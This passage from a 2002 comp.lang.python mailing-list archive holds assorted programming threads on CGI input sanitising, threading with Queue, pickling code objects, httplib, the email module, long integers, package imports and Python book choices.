or field names cannot be trusted, since the request doesn't have to come from your form! To be on the safe side, if you must pass a string gotten from a form to a shell command, you should make sure the string contains only alphanumeric characters, dashes, underscores, and periods. You will probably find some security checks laying around (such as dotdot security checks) Erlend J. Leiknes "Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message news:DuIBcWA5WK78Ewyc at jessikat.fsnet.co.uk... > A while back I asked if there were any obvious vulnerabilities in Python > cgi scripting. At the time it seemed no-one would respond positively, > but I see that recently both Mailman and viewCVS have been exploited. > > mailman has compile stuff, but isn't viewCVS pure Python? > > The viewCVS exploit is detailed here > > http://lwn.net/2002/0523/a/viewcvs.php3 > > Can some wizard kindly explain exactly how the client CGI is made > responsible for security defence against bad URLs. It seems to me that > the client browser should be responsible, but apparently not. > > The alleged fix seems to involve more complete argument checking, is > that required for any such defence? What should the request response be? > -- > Robin Becker From stephen at xemacs.org Wed May 1 10:56:45 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 01 May 2002 23:56:45 +0900 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <mailman.1020240425.31988.python-list@python.org> <876628nl28.fsf@tleepslib.sk.tsukuba.ac.jp> <FGSz8.12104$Ii2.1210210@bin2.nnrp.aus1.giganews.com> Message-ID: <871ycvor0y.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Terry" == Terry Reedy <tjreedy at udel.edu> writes: Terry> "Stephen J. Turnbull" <stephen at xemacs.org> wrote in message >> I think this is rather unfair. I agree that this is the >> _effect_ of this typically American form of behavior. Terry> And what will be the effect of this typically European form Terry> of stereotyping [;-)]? To the extent that any given instance of class American is "typical", there will be none, right? (^^; -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From jorgenhansen at hotmail.com Fri May 10 14:49:00 2002 From: jorgenhansen at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Hansen?=) Date: 10 May 2002 11:49:00 -0700 Subject: Error Log References: <GGQC8.569$Nt3.62535@newsread2.prod.itd.earthlink.net> Message-ID: <117880a1.0205101048.2fd9e396@posting.google.com> "Billy Ng" <kwokng at earthlink.net> wrote in message news:<GGQC8.569$Nt3.62535 at newsread2.prod.itd.earthlink.net>... > I need to write a error log module that append the error line into a log > file every time an exception is thrown. Would anybody please give me input > for how to do it in pytohn, thanks! > > Billy Ng Vinay Sajip has made a logging module: http://www.red-dove.com/python_logging.html which you could look into. I have made a very basic version of it, which I could email with some examples if you want to. Regards Jorgen From mhammond at skippinet.com.au Tue May 28 22:21:53 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 29 May 2002 02:21:53 GMT Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <mailman.1021906534.16414.python-list@python.org> <acbfoj$nji$1@panix1.panix.com> <mailman.1022277883.28027.python-list@python.org> <ad1adq$hp3$1@panix1.panix.com> Message-ID: <3CF43BA6.5020106@skippinet.com.au> Aahz wrote: > In article <mailman.1022277883.28027.python-list at python.org>, > =?iso-8859-1?q?Fran=E7ois?= Pinard <pinard at iro.umontreal.ca> wrote: > >>[Aahz] >> >>>My response is that instead of trying to take advantage of the few >>>atomic Python constructs, instead code defensively and always use >>>thread-safe mechanisms for passing information. Because Python has a >>>powerful and simple Queue, this is straightforward to accomplish. >> >>But abusing Queues for very simple things, a bit everywhere, might yield >>code bloat, and impinge readability. This is a bit like if someone was >>inviting everyone to abuse fixed point integer arithmetic all over as a >>way to program defensively against floating point arithmetic. > > > You're both misreading me and overstating your point, IMO. I completely > agree that RLock() is a valuable and necessary tool for managing critical > sections of code. However, I stand by my claim that Queue() should be > the primary mechanism for passing data around. Getting the semantics of > Event() and Semaphore() correct (not even talking about Condition() -- > <shudder>) can be extremely difficult for all but the simplest cases, > leading to application deadlock. > > Queue is both powerful and simple, and I therefore invoke Python's > "There's Only One Way" principle. You can invoke whatever you like, but it doesn't change anything for anyone else ;) I believe advocating the Queue module as the "one way" is naive. The Queue module is very useful, and indeed has solved many threading problems in an elegant way for me - however, in my experience, it has been used in less than 50% of the times I have needed mutli-threaded synchronization. If-your-only-tool-is-a-hammer-everything-starts-looking-like-a-thumb ly Mark. From big.john at bigfoot.com Fri May 24 07:36:56 2002 From: big.john at bigfoot.com (Johann =?ISO-8859-1?Q?H=F6chtl?=) Date: Fri, 24 May 2002 13:36:56 +0200 Subject: no pickling code objects? References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> <mailman.1020937276.11159.python-list@python.org> Message-ID: <3CEE25D8.2000505@bigfoot.com> You may take a look at www.mozart-oz.org and their strategy / theory behind pickling and unpickling. In mozart you are only allowed to pickle inmutable data. Otherwise you go crazy on taking all considerations into account. It has also to do with netwok transparency, fail save behaviour and ACID-properties. holger krekel wrote: > Gon?alo Rodrigues wrote: > >>Hi, >> >>On the docs on the pickle module it says that code objects can not be >>pickled, this in turn implies some limitations on the pickleability >>(man, I like this word!) of some objects. The docs mention security >>reasons for this choice. But somehow this doesn't feel right. Shouldn't >>the secuity concerns be left to the programmers? After all Python >>already has exec*. Is there something I am missing? >> >>I am asking this mainly from curiosity, I am in no need of such a >>feature. And then again, If I had the time and the knowedge + skill to >>come up with a patch... >> > > just a comment: i need pickling of code objects. Anyone implementing > mobile network agents might be interested, also. Up until now > i just grab the source/byte code and send it over as a string. > > But the basic problem with pickling/unpickling code objects > is to transport the transitive closure of code objects: you need to > have the code objects which your pickled code objects > depends on. And next the code objects which these code > objects depend on ... > > At the same time you don't want to pickle code of > the python standard distribution usually (at least > not sys/os and friends). > > Has anyone figured these issues out already? > > holger > > > From tim_sleptsov at mtu-net.ru Sat May 25 16:00:21 2002 From: tim_sleptsov at mtu-net.ru (Timothey) Date: 26 May 2002 00:00:21 +0400 Subject: uspp References: <mailman.1022177682.17075.python-list@python.org> <acjhct$an$1@news.tpi.pl> <mailman.1022267083.6610.python-list@python.org> Message-ID: <86661cm20a.fsf@mtu-net.ru> Cliff Wells <logiplexsoftware at earthlink.net> writes: > In what way? I've been using uspp without problem Under Win2000 too? -- Best regards Timothey Sleptsov e-mail: tim_sleptsov at fromru.com tim_sleptsov at mtu-net.ru From emile at fenx.com Sun May 19 08:02:06 2002 From: emile at fenx.com (Emile van Sebille) Date: Sun, 19 May 2002 12:02:06 GMT Subject: Parsing a text file for information References: <WGCF8.35045$ah_.5711@news01.bloor.is.net.cable.rogers.com> <q1HF8.53914$t8_.3001@news01.bloor.is.net.cable.rogers.com> Message-ID: <2vMF8.37980$L76.26056@rwcrnsc53> Colin Meeks > Thanks all, worked a treat. I don't suppose someone knows of a handy > reference that > includes a stack of samples for real programming problems. i.e. extracting > URLS > from a document, removing duplicate lines, removing comments from source > code, > etc. that kind of thing. I think if I had such a reference it would be a > lot easier to come > to grips with regular expressions. > This is likely to have most, if not all: http://aspn.activestate.com/ASPN/Cookbook/Python -- Emile van Sebille emile at fenx.com --------- From laurent.szyster at q-survey.be Thu May 23 13:15:43 2002 From: laurent.szyster at q-survey.be (Laurent Szyster) Date: Thu, 23 May 2002 19:15:43 +0200 Subject: encoding problem CP850 to ISO_8859_9 References: <625H8.29184$48.2236753@zwoll1.home.nl> <aciv97$q500t$1@ID-99513.news.dfncis.de> Message-ID: <3CED23BF.A1A8DC6A@q-survey.be> "P. Alejandro Lopez-Valencia" wrote: > > I suggest you check your target encodings first and ask again. > Your suppositions are incorrect. ISO-8859-9 is Latin 5 (Western > Europe plus Turkish) and ISO-8859-15 *is* Latin 9 (Western Europe > plus Euro Currency Sign) --- that is, the nineth Latin encoding > (== using the Roman alphabet) among all the character encodings > defined under the ISO-8859 standard. > > Furthermore, the characters you report as missing, Eth, Thorn, > *do not* exist in ISO-8859-2 (Latin 2 Central Europe). They exist > only in the ISO-8859-1 (Latin 1 Western Europe) encoding. There's no match for peer support. And this all gets archived and indexed. Years have passed and I'm still amazed. Laurent From fokke_wulf at hotmail.com Tue May 14 15:18:11 2002 From: fokke_wulf at hotmail.com (Matthew Diephouse) Date: Tue, 14 May 2002 19:18:11 GMT Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <mailman.1021250064.30651.python-list@python.org> <87g00wompv.fsf@mathdogs.com> Message-ID: <3CE1621A.3080900@hotmail.com> Mike Coleman wrote: > > I agree, but I'm more inclined to render this as > > It's difficult to write intelligible code in Perl (though I'm sure it's > possible -- there are (masochistic) people with lots of talent out there > ;-)), whereas, it's relatively easy in Python. > > Mike OBC2BIP - Only Bad Coders Code Badly In Perl matt From darin_brezeale at hotmail.com Thu May 16 12:52:09 2002 From: darin_brezeale at hotmail.com (Darin Brezeale) Date: Thu, 16 May 2002 16:52:09 GMT Subject: Best book for python? References: <ue4h4se7khug08@news.supernews.com> Message-ID: <3CE3E3B9.4060202@hotmail.com> I've used both O'Reilly's Learning Python and Manning Press' The Quick Python book. I feel that The Quick Python Book packs more information and is less basic than the O'Reilly book. Like you, I have some Perl and PHP experience and wanted something that moved along quicker than the O'Reilly book. Two sample chapters of the Manning book can be found at http://www.manning.com/Harms/index.html to help you decide if this is what you are looking for. Of course, there is also a sample chapter of the O'Reilly book at http://www.oreilly.com/catalog/lpython/ db obantec support wrote: > Hi > > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? > > (BTW i already program in perl/php) > > Mark > -- > Obantec Support > www.obantec.net > WebHosting and Domains > Nominet UK Tag Holder > > From tismer at tismer.com Thu May 2 09:52:26 2002 From: tismer at tismer.com (Christian Tismer) Date: Thu, 02 May 2002 15:52:26 +0200 Subject: Stackless goes Limbo References: <3CC6D07E.409@tismer.com> <mailman.1019758546.27031.python-list@python.org> <aa9n7h$4m9$1@panix1.panix.com> <mailman.1019781707.18338.python-list@python.org> <aaaaic$3b7$1@panix1.panix.com> <mailman.1019792457.31426.python-list@python.org> <slrnacm8a7.mru.mlh@vier.idi.ntnu.no> <dgXy8.72409$z55.22493@atlpnn01.usenetserver.com> <mailman.1020033011.19748.python-list@python.org> <slrnactoru.pv.mlh@vier.idi.ntnu.no> <mailman.1020196975.26619.python-list@python.org> <fyEz8.4763$Au5.3848@atlpnn01.usenetserver.com> <3CCF1CD6.BF418F27@cascade-sys.com> Message-ID: <3CD1449A.5020509@tismer.com> James J. Besemer wrote: > Steve Holden wrote: > > >>>I realized just AFTER pressing send. A little less coffee that day and I >>>may have spared myself that minor embarrassment. >>> >> >>Heh, heh, heh. > > > On the aforementioned and possibly several other matters. ;o) What was the topic of this thread, by the way? :-) -- Christian Tismer :^) <mailto:tismer at tismer.com> Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From shagshag13 at yahoo.fr Wed May 8 12:41:01 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 8 May 2002 09:41:01 -0700 Subject: Need help... References: <409a56e2.0205052334.77d409f2@posting.google.com> <3CD74383.F5AF6CA1@cosc.canterbury.ac.nz> Message-ID: <409a56e2.0205080841.8fd619d@posting.google.com> Thanks for your responses !!! I think i failed to explain my needs... but your help was great... It's ok now, i build lists (converted to tuples) from code below (feel free to comment!!!) and use them as dictionary keys and i use a Python list to handle "my linked list"... (N-uples are always sorted) ----- def build(l, n): result = [] if n == 1: for e in l: result.append([e]) else: subSet = build(l, n - 1) for n_uples in subSet: iLast = l.index(n_uples[-1]) print "last element %s @ %s from %s" % (n_uples[-1], iLast, n_uples) if iLast < len(l) - 1: print "could add one from %s" % (l[iLast + 1:]) for e in l[iLast + 1:]: tmp = n_uples + [e] result.append(tmp) print "adding %s to build %s" % (e, tmp) return result def allSets(l): result = [] for i in range(2, len(l)): print "\nbuilding set of size %s" % i result += build(l, i) result.append(l) return result ---- from (a, b, c) => (a, b), (a, c), (b, c), (a, b, c) from (a, b, c, d) => (a, b), (a, c), (a, d), (b, c), (b, d), (c, d), (a, b, c), (a, b, d), (a, c, d), (b, c, d), (a, b, c, d) From tdelaney at avaya.com Wed May 29 20:47:18 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 10:47:18 +1000 Subject: Why no open(f, "w").write()? Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A329@natasha.auslabs.avaya.com> > From: pinard at iro.umontreal.ca [mailto:pinard at iro.umontreal.ca] > > The current (C-)Python implementation is of high quality on > that respect, > and after checking with knowledgeable people, I got that the > dependability > of refcounts could be considered as cast in stone, exactly > like if it has > been documented as such. If I did not get this confirmation > first, I would > never have started to use things like "open(FILE, > 'w').write(CONTENTS)". > Now, I really see it as part of (unwritten) specifications of > (C-)Python, > and perfectly legitimate. I can come up with a perfectly good example where open(FILE, 'w').write(CONTENTS) will fail to close the file in CPython. There are no guarantees that the reference to the object returned is the *only* reference to that object. Assume the following (perverse) implementation of open: __files = [] def open (path, mode): f = __open(path, mode) __files.append(f) return f or class file: __files = [] def __init__(self, path, mode): __files.append(self) Whilst I know this is not the implementation, there is nothing that prevents it from being like this. So you get back an object that has one more reference count than expected. It never gets collected. You should never rely on automatic freeing of *any* resources unless it is guaranteed. Always explicitly free resources when you have finished with them. Tim Delaney From phr-n2002a at nightsong.com Thu May 23 20:20:04 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 23 May 2002 17:20:04 -0700 Subject: How Are Unlimited Precision Integers Accomplished? References: <e1eff209.0205221515.6135fc6f@posting.google.com> <7xbsb7zrlc.fsf@ruckus.brouhaha.com> <e1eff209.0205231601.61fab12b@posting.google.com> Message-ID: <7xn0uqqtvv.fsf@ruckus.brouhaha.com> zephinilium at yahoo.com (Uncle_Alias) writes: > That explains part of my surprise: I'd been using an earlier version > on the Mac, and am now using 2.2.1 on the PC. Python has had longs since the beginning or thereabouts. It's just in 2.2 that ints convert to longs automatically on overflow. Before that, to get a long, you'd have to say (e.g.) "3L" to get the long version of 3, instead of "3" for the int version. > So what fun things can we do with this? Anyone have an algorithm for > calculating pi? You don't really need longs for that, especially if you want to compute pi in hex. There's a beautiful paper by Borwein, Bailey, and Plouffe showing how to compute the (say) 1 billionth hex digit of pi, without having to compute all the digits leading up to it. I don't know if anyone's figured out a way to do that in decimal though. From marklists at mceahern.com Thu May 2 00:30:18 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 23:30:18 -0500 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD0BF2D.3F6FADA9@cascade-sys.com> Message-ID: <NCBBLFCOHHDIKCAFGCFBKENAKNAA.marklists@mceahern.com> [James J. Besemer] > Of course the FAQ itself would have to be vetted by the group, so it truly > represents a consensus. A good FAQ is a non-trivial amount of work. Any > volunteers? Once again, google is your friend: http://www.google.com/search?q=python+faq yields: http://www.python.org/doc/FAQ.html // m From jeremy at alum.mit.edu Wed May 1 17:08:54 2002 From: jeremy at alum.mit.edu (Jeremy Hylton) Date: 1 May 2002 14:08:54 -0700 Subject: Continuation after 100 header in httplib References: <ucudihfo3n5v38@corp.supernews.com> Message-ID: <b0f083db.0205011308.6618003@posting.google.com> "Bob Kline" <bkline at rksystems.com> wrote in message news:<ucudihfo3n5v38 at corp.supernews.com>... > I'm looking through the docs for the httplib module, and I can't find any > way to get the next set of headers and the message body when the server > sends back a status code of 100 ("Continue"). It's not appropriate for the > client to invoke Request() again, since it has already sent the request in > the first POST. Trying getresponse() again (the most intuitively logical > next step) gets back a ResponseNotReady exception. What am I missing? > Looking at the code for the module it seems as if this condition was > overlooked, but that seems too implausible. No. It really seems to be overlooked, and the module author hasn't had time to fix it. I'd be really happy to see someone in the community fix this problem, as none of the developers seems to have the right combination of expertise and time. Also, while I'm asking for help, it would be great if someone could develop a decent test suite for httplib and related modules. Wish I had a better answer... Jeremy From mchalkley at notthispart.direcway.com Fri May 31 18:36:53 2002 From: mchalkley at notthispart.direcway.com (Mark C) Date: Fri, 31 May 2002 18:36:53 -0400 Subject: Python program distribution revisited References: <MPG.175c24a5538e5d7a989687@news.direcpc.com> <Xns921BD43F66B56cliechtigmxnet@62.2.16.82> <XjpJ8.48983$%u2.28695@atlpnn01.usenetserver.com> Message-ID: <MPG.1761c50d24c9753a989688@news.direcpc.com> Python availability on "standard" Windows installations would sure be nice, but I don't expect that in the next 5 years unless Python takes off a whole lot faster than Perl has. Not that it isn't possible, though... Perl is still not available "by default". I distribute Perl applications by using ActiveState's PerlApp. It allows you to create an exe that's about 450k with everything it needs in one file. Alternatively, if you're installing several apps, you can include a single 650k dll and each exe will be 120k or so in size, depending, of course on how complicated the app is. All in all, ActiveState's approach is very convenient, works well, and is easy for both the developer and the end-user to use. Mark In article <XjpJ8.48983$%u2.28695 at atlpnn01.usenetserver.com>, sholden at holdenweb.com says... > "Chris Liechti" <cliechti at gmx.net> wrote ... > Also note that Python is probably around where Perl was ten years ago in > terms of distribution, but growing fast in popularity. Fairly soon now (as > opposed top RSN :-) you should be able to rely on new computers having > Python support built in. Then you just have the same versioning problems you > get with Perl, and no need to distribute in installer form. Although there's > no reason why installer distribution shouldn't continue to work just like it > does now. > > Does the Windows environment include Perl by default? How do you distribute > your applications to Windows users? > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > > From florian.konnertz at web.de Wed May 8 06:40:35 2002 From: florian.konnertz at web.de (Florian Konnertz) Date: Wed, 08 May 2002 12:40:35 +0200 Subject: Install.: downgrade 2.2 to 2.1.3. or additionally? References: <3CD8CC91.4040306@web.de> <mailman.1020838152.32637.python-list@python.org> Message-ID: <3CD900A3.30707@web.de> Richard Jones wrote: > On Wed, 8 May 2002 16:58, Florian Konnertz wrote: > >>I got python 2.2. installed by the linux slackware distro. >>I want to use Zope, it requires 2.1.x. >>Is there anything to take care of, when installing a second python, >>respectively do I have to deinstall the old one? > > > Python 2.1 and 2.2 will live side-by-side on a linux machine - they install > their libs in /usr/lib/python2.1 and /usr/lib/python2.2. > > The most important thing to watch out for is the python executable itself > (typically /usr/bin/python). > > To have both installed, make a copy of /usr/bin/python to /usr/bin/python2.2 - > then you'll be able to run apps using 2.2 with that binary. Once 2.1 is > installed, move it to /usr/bin/python2.1 and symlink whichever is more > convenient to /usr/bin/python. You should be able to get zope to start up > using /usr/bin/python2.1 if you want to keep /usr/bin/python symlinked to > 2.2. I did it that way, use only p2.1 now, Many thanks for the really quick answer, Have a nice day, Florian From vlindberg at verio.net Fri May 31 14:13:36 2002 From: vlindberg at verio.net (VanL) Date: Fri, 31 May 2002 12:13:36 -0600 Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> Message-ID: <3CF7BD50.6080107@verio.net> In addition to having the execute bit set, you can occasionally run into errors ir you have edited the file on a windows box: In vi, instead of !#/usr/bin/env python you will see !#/usr/bin/env python^M which can give some inexplicable errors when trying to run the script directly, as opposed to specifying the interpreter. Sometimes shells can be maddeningly literal. -VanL From peter at engcorp.com Fri May 17 19:28:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:28:51 -0400 Subject: Python or Ruby for a newbie - Winner is Python! References: <abqqpn$260$1@hfc.pacific.net.hk> <91acf731.0205170652.43923fcc@posting.google.com> Message-ID: <3CE59233.54D85E40@engcorp.com> Jason Voegele wrote: > > Scrumpy <reply at in_newsgroup.tks> wrote in message news:<abqqpn$260$1 at hfc.pacific.net.hk>... > > I'd posted two or three times to this Python newsgroup and always received > > replies (a good sign of a supportive community) but my two recent posts to > > the Ruby newsgroup garnered zero replies! > > > I subscribe to the ruby-talk mailing list that is mirrored with > comp.lang.ruby, and I never saw your message. Also, a google search > reveals no postings made by you to comp.lang.ruby. Either you sent > your message somewhere else, or you never sent it at all. If that's > the case, I question your integrity and wonder if this post is > anything more than flame-bait. Or perhaps it was an honest mistake. Give him the benefit of the doubt before you attack him personally! I was posting messages to this newsgroup for almost two weeks at the end of April and beginning of May. I almost posted a few in anger that somebody ignored my postings which had perfectly good answers, then a few days later responded positively to a responses from others. What was their problem?! Idiots! What's wrong with my answer?! Well, my service provider's news system was swallowing all my posts, keeping them locally (so I could see they were posted) but never upfeeding them into the rest of Usenet. Who knew? I wasted time posting about twenty messages this way. Grrr.. (Of course, you could be right, too, but it seems more likely to me there was no lack of integrity involved. Maybe I'm just naive...) -Peter From matt at mondoinfo.com Sat May 25 22:38:55 2002 From: matt at mondoinfo.com (Matthew Dixon Cowles) Date: Sun, 26 May 2002 02:38:55 GMT Subject: email module in 2.2 References: <acos62$die$1@grandcanyon.binc.net> <ThTH8.83872$vm6.17915513@ruti.visi.com> <acp63f$fu3$1@grandcanyon.binc.net> Message-ID: <3VXH8.83948$vm6.17970229@ruti.visi.com> On Sat, 25 May 2002 18:18:29 -0500, Alex Russell <alex at securepipe.com> wrote: >Thanks Matt, however this doesn't help me at all with >multipart/alternative messages. You're very welcome. That code doesn't do anything in particular with multipart/alternative messages primarily because you didn't mention that it needed to <wink>. >I've come to the conclusion that the email module is more or less >useless, so I'm just going to do this all by hand. Of course you may be right but I'd be rather surprised if that were the case. I've written an email client in Python and started before the email module (and its predecessor mimelib) was available. So I've done a bunch of fiddling with MIME messages using the email module and other tools and have yet to find anything to do with MIME messages that the email module doesn't make easier. If you'll post a bit more about what you need to do, we may be able to help more. At a guess, you may be running into the problem of duplicating the conventions followed by some particular email client or clients. The email module hands back MIME parts and your program can do anything it likes with them. Replicating the behavior of some email client can be a nuisance but it's a nuisance that's separate from the nuisance of parsing MIME messages. Regards, Matt From esj at harvee.billerica.ma.us Fri May 10 17:22:42 2002 From: esj at harvee.billerica.ma.us (Eric S. Johansson) Date: 10 May 2002 14:22:42 -0700 Subject: Python in type memory/embedded systems Message-ID: <1453c050.0205101322.4725de62@posting.google.com> my question to the group is to find out if there is any movement towards making python work in tight memory/embedded systems environments and if there isn't, if I was able to make such a change to 2.2, what would take to make the changes acceptable to the ghods of python? by the way, I did do my research on embedded system python and I haven't seen much except in various discussions about hard vs. soft real-time etc. That is not currently my concern. I am mostly concerned about shrinking the python footprint so that it will fit into a 0.5 to 0.75 megabit footprint including various libraries for networking, etc.. ---eric From brueckd at tbye.com Thu May 9 13:31:04 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Thu, 9 May 2002 10:31:04 -0700 (PDT) Subject: urllib, urllib2, httplib -- Begging for consolidation? In-Reply-To: <23891c90.0205090720.2df10e38@posting.google.com> Message-ID: <Pine.LNX.4.44.0205090952580.7822-100000@ns0.tbye.com> On 9 May 2002, Paul Boddie wrote: > For me, what I've mostly been doing with urllib is to connect to > locations and to download files. Indeed, having this functionality in > the standard library is incredibly useful when a server Right, and I'm not in any way advocating the elimination of this, only that more of the meat of the functionality be built in the corresponding protocol libraries (and not urllib), on top of which is built a thin, general-purpose API that does simple "protocol triage" if you will. > between HTTP and FTP for such simple operations, and the following > URLs, which can be used to access a remote server (with authentication > details provided) and to download a resource, both make sense: > > http://user at myserver:8080/docs/resource > https://user at myserver:8080/docs/resource > ftp://user at myserver/pub/docs/resource Yes, I'm not disagreeing that at the simplest level these resources can be treated (read) as simple files. What I _am_ saying is that this simplest form of retrieval should also be that easy using the respective protocol modules, so that incrementally more complex tasks with a specific protocol are incrementally more work and, more importantly, pretty obvious "next steps". > Even the following URLs, which I've just made up, share several common > details with those above: > > pop3://user at myserver/INBOX/123 > imap://user at myserver/INBOX/123 Yes, the URLs are similar, but again the usefulness begins to break down. If your program is reading a mailbox message it'll need to know how to handle the mail headers, so the likelihood of you treating it as a plain file is close to nil. > It would be interesting to hear what kinds of things force you to deal > with httplib. Adding request headers, dealing with cookies or HTTP/1.1 features in general, reusing the connection, etc. But in reality your question implies that I've done a poor job of conveying my point: it's not a question of whether or not things _can_ be done via urllib, it's that (if we were to reorganize them), it should be so that if you know you're using a particular protocol you should be able to use that protocol module just as easily as you can use urllib. If you want to do something protocol-specific, urllib should never be the place to do it (whereas today you have stuff like FancyURLOpener which knows how to follow HTTP redirects - great stuff, but it doesn't belong in urllib). > > A similar approach might work well for the different protocol libraries - > > go to the appropriate module to open the one you want (setting it up with > > any protocol-specific information), after which you have a file-like > > object that your code can use generically. > I believe that specialisation may be introduced into the objects > returned by whatever function was used to create them (even if the > creation was delegated to other functions, classes or modules). Yes, the two preceding paragraphs propose the same thing. > Again, I would say that many protocols lend themselves to a filesystem > type of view of the remote location. At the simplest level, yes, which is why I'm in favor of keeping the open-generic-url functionality. At anything beyond the simplest level, however, the way you look at them diverges wildly. Files lend themselves to true random access for both reading and writing, and generally don't have security credentials specified in their "url". HTTP lends itself to stateless transactions, where the data returned may vary wildly depending on the headers and data submitted; it is also commonly used to initiate action on the server (in which case "retrieving the object at the given URL" makes little sense). FTP is mostly limited to retrieving all of a file or a later chunk of a partial file. > The very nature of URLs tends to suggest a filesystem abstraction of > network resources - that's why they were invented, after all. URLs suggest a uniform method to _locate_ resources, not _use_ them. -Dave From cjensen at bioeng.ucsd.edu Fri May 31 11:07:34 2002 From: cjensen at bioeng.ucsd.edu (Curtis Jensen) Date: Fri, 31 May 2002 08:07:34 -0700 Subject: Python/Scripting language performance References: <3CF65A62.2070705@bioeng.ucsd.edu> <mailman.1022812010.18367.python-list@python.org> Message-ID: <3CF791B6.9050304@bioeng.ucsd.edu> Skip Montanaro wrote: > Curtis> I'm looking for an explicit explination of why Scripting > Curtis> languages, specificaly Python, are slow compared to compiled > Curtis> languages. > > Languages like Python and Perl (I think you do both a disservice by calling > them "scripting" languages) are compiled to fairly high-level virtual > machines. The bytecode is then interpreted at run-time. Interpreting > bytecode is much less efficient than executing native machine code on real > hardware. Compiling dynamically types languages to efficient machine code > is difficult. C, C++ and Java are easier to compile to fairly efficient > machine code because they are statically typed. Dynamic typing means you > can't know ahead of time that (for example) the variable named "x" will > always be an int. C knows that "int x;" means that it can generate a very > efficient sequence of machine instructions to perform the expression "x + > 5". The Python compiler doesn't know what "x + 5" means because it doesn't > know, a priori, what the type of x is and thus what the semantics of the > addition operator are going to be. > > That's not the end of the story, however. Take a look at the Psyco project > for a system that provides some tantalizing performance improvements: > > http://sourceforge.net/projects/psyco > > I believe the Parrot project is also working on a more efficient virtual > machine for Perl (and eventually other languages). > Thanks for the responce. Though, I still have some questions. If Python and Perl are not scripting languages, then what are they? Also, is dynamic typing the only reason for python's performance hit? Does this mean that if I use something like Numeric arrays (from the Numeric Module), which pretty much staticaly types it's variables, and define these variables at the top of a function or in the constructor of a class, that I would avoid the performance hit of dynamic typing? Are there other performance penalties in Python other than dynamic typeing? What are they? I'm still lost on the point of the byte code. What's the point? If it's still line by line interpreted, why not just skip the byte code compilation and line by line interpret the source? Is there some optimization in the byte code? I looked at psyco. From the documentation it looks like it does code prediction; both on variable values and also on conditional branches. No matter what the language, better prediction will always yeild a performance speed up. Also, it looks as if psyco has a staticaly typed (32-bit) untyped typed. :) (one type for doubles ints, long ints, etc.). I assume this is an attempt to work around the dynamicaly typed variable performance hit. From this I am again left wondering if dynamic typing is the main reason for the performance hit. Ineficient pre-processing (byte code) would be the other main performance problem. Thanks for any further comments. -- Curtis Jensen cjensen at bioeng.ucsd.edu http://www-bioeng.ucsd.edu/~cjensen/ FAX (425) 740-1451 From greg at cosc.canterbury.ac.nz Thu May 9 23:12:50 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 May 2002 15:12:50 +1200 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <3CDAA5A5.D4077E5C@fnal.gov> Message-ID: <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> "David J. Ritchie" wrote: > > I must admit that over time the inability to > easily move blocks of code around without reformatting the > indentation is a pain. So what do you do when you have to move blocks of code in a non-indentation-sensitive editor? Leave the indentation ragged? Or use a suitably talented editor...? -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From cliechti at gmx.net Thu May 23 19:39:18 2002 From: cliechti at gmx.net (Chris Liechti) Date: 24 May 2002 01:39:18 +0200 Subject: Package __init__ question References: <mailman.1022194243.8524.python-list@python.org> Message-ID: <Xns9218112D29997cliechtigmxnet@62.2.16.82> "David LeBlanc" <whisper at oz.net> wrote in news:mailman.1022194243.8524.python-list at python.org: >> From: Chris Liechti [mailto:cliechti at gmx.net] >> "David LeBlanc" <whisper at oz.net> wrote in >> > I downloaded a package - let's call it "fumble" - and when I >> > installed it, it put itself into site-packages directly and not a >> > sub-directory of it. Since I want to keep the site-packages >> > directory clean, I created a subdirectory called fumble and copied >> > all the fumble files into it. I added an empty __init__.py file and >> > it didn't work. Only after I added the line "from fumble import *" >> > to the __init__ file did it work. >> >> did't it work with an empty __init__.py but importing "fumble.fumble" >> ? the import * you use is needed no get rid of the additional >> hiearchy level >> which you created throug you subdir. > > Nope - it would only work that way if I did "import fumble.fumble as > fumble" and that's too much fumbling for me :o). The (demo) app using > fumble expects fumble objects in the fumble namespace, not imported > into the main namespace. I guess it is (semi) proper to do the "from > fumble import * in the init file to get rid of the extra level of > "indirection" (as it where). that what i meant, but my english... >> > Is this the correct way that packages are meant to work? I kind of >> > doubt it, but looking over the pythondoc failed to suggest any >> > alternative (my solution was a lucky guess). Comments and pointers >> > to good doc appreciated. >> >> i'm using something like that in my pyserial package. 